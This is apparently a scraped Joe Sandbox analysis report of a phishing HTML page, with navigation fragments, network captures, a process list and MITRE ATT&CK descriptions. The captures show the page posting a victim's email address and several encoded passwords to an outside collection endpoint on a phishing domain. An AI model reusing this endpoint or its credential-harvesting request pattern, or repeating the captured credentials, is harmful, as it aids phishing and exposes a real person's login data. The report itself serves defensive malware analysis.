ae a8 6c 46 Data Ascii: PNGIHDR$_zpHYs%%IR$tIME):wIDATxytU?sInH"P$XUlWWCkm-QF S2BgG @I.h^]++i@7ntF7nt!_MG8SDRqFm$E1wlN`{lF

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:13 UTC	642	OUT	POST //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive Content-Length: 65 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:13 UTC	65	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 64 75 72 72 69 67 61 6e 73 40 61 69 72 62 6f 72 6e 2e 63 6f 6d 26 70 61 73 73 3d 64 33 41 37 55 6d 51 32 63 32 6c 73 4f 79 55 79 4e 54 38 79 61 47 64 55 Data Ascii: do=login&user=durrigans@airborn.com&pass=d3A7UmQ2c2lsOyUyNT8yaGdU
2025-04-17 13:22:18 UTC	381	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3ae36aec3d59-JAX alt-svc: h3=":443"; ma=86400
2025-04-17 13:22:18 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}
2025-04-17 13:22:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:28 UTC	642	OUT	POST //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive Content-Length: 65 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:28 UTC	65	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 64 75 72 72 69 67 61 6e 73 40 61 69 72 62 6f 72 6e 2e 63 6f 6d 26 70 61 73 73 3d 49 7a 49 6f 4a 54 4e 44 56 7a 56 44 4a 54 56 46 4d 53 52 59 4d 51 3d 3d Data Ascii: do=login&user=durrigans@airborn.com&pass=IzIoJTNDVzVDJTVFMSRYMQ==
2025-04-17 13:22:33 UTC	381	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3b430fc832f2-JAX alt-svc: h3=":443"; ma=86400
2025-04-17 13:22:33 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}
2025-04-17 13:22:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:33 UTC	397	OUT	GET //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:34 UTC	275	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3b62d95e31b6-JAX alt-svc: h3=":443"; ma=86400
2025-04-17 13:22:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report t.mobile(1).html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Windows Analysis Report
t.mobile(1).html

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:44 UTC	642	OUT	POST //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive Content-Length: 73 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:44 UTC	73	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 64 75 72 72 69 67 61 6e 73 40 61 69 72 62 6f 72 6e 2e 63 6f 6d 26 70 61 73 73 3d 4a 54 56 45 4a 54 56 46 57 44 41 6c 4e 55 4a 59 4e 6d 70 74 56 43 6f 34 4c 6d 64 7a 4a 54 64 44 Data Ascii: do=login&user=durrigans@airborn.com&pass=JTVEJTVFWDAlNUJYNmptVCo4LmdzJTdD
2025-04-17 13:22:51 UTC	381	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:22:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3ba7089520b0-IAH alt-svc: h3=":443"; ma=86400
2025-04-17 13:22:51 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}
2025-04-17 13:22:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:59 UTC	642	OUT	POST //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive Content-Length: 41 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:59 UTC	41	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 64 75 72 72 69 67 61 6e 73 40 61 69 72 62 6f 72 6e 2e 63 6f 6d 26 70 61 73 73 3d Data Ascii: do=login&user=durrigans@airborn.com&pass=
2025-04-17 13:23:00 UTC	381	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:23:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3c059d8d31b6-JAX alt-svc: h3=":443"; ma=86400
2025-04-17 13:23:00 UTC	67	IN	Data Raw: 33 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 70 61 73 73 77 6f 72 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 7d 0d 0a Data Ascii: 3d{"status":"password","message":"Please enter your password."}
2025-04-17 13:23:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:21:36
Start date:	17/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff634830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	09:21:42
Start date:	17/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,12099462955920816978,13841834187080203830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2052 /prefetch:3
Imagebase:	0x7ff634830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	09:21:45
Start date:	17/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,12099462955920816978,13841834187080203830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3912 /prefetch:8
Imagebase:	0x7ff634830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	09:21:48
Start date:	17/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\t.mobile(1).html"
Imagebase:	0x7ff634830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre